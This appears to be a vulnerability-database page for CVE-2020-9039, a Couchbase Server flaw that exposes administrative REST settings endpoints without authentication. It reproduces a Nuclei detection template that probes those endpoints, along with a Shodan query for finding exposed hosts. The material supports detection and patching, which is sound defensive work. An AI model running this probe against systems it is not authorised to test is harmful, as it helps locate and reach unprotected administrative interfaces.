CVE-2020-9039: Couchbase Server - Broken Access Control

2026-01-16 Couchbase Server PoC Public

Description

Couchbase Server versions 4.0.0, 4.1.0, 4.1.1, 4.5.0, 4.5.1, 4.6.0-4.6.5, 5.0.0, 5.1.1, 5.5.0, and 5.5.1 contain insecure permissions for the projector and indexer REST endpoints caused by unauthenticated access, letting attackers access administrative APIs without authentication, exploit requires no special conditions.

PoC

id: CVE-2020-9039
info:
  name: Couchbase Server - Broken Access Control
  author: pussycat0x
  severity: critical
  description: |
    Couchbase Server versions 4.0.0, 4.1.0, 4.1.1, 4.5.0, 4.5.1, 4.6.0-4.6.5, 5.0.0, 5.1.1, 5.5.0, and 5.5.1 contain insecure permissions for the projector and indexer REST endpoints caused by unauthenticated access, letting attackers access administrative APIs without authentication, exploit requires no special conditions.
  impact:
    Attackers can access and modify administrative settings, potentially leading to data tampering or system compromise.
  remediation:
    Update to the latest version where the /settings REST endpoint requires authentication.
  reference:
    - https://docs.couchbase.com/server/current/index-rest-settings/index.html#Settings
  metadata:
    max-request: 2
    verified: false
    shodan-query: html:"Couchbase"
  tags: cve,cve2020,couchbase,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/settings"
      - "{{BaseURL}}/indexer/settings"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(body, 'indexer.settings','projector.settings','max_seckey_size')"
        condition: and
# digest: 4a0a00473045022050c47e7453e4ab7eda5e3ce771d4908900bd1a72514519906c2979c4277d6731022100c46225939fc9c02c443eb53e883263d6ecf485a6820f63f2c4201d7f4d9a7f56:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9039.yaml

References

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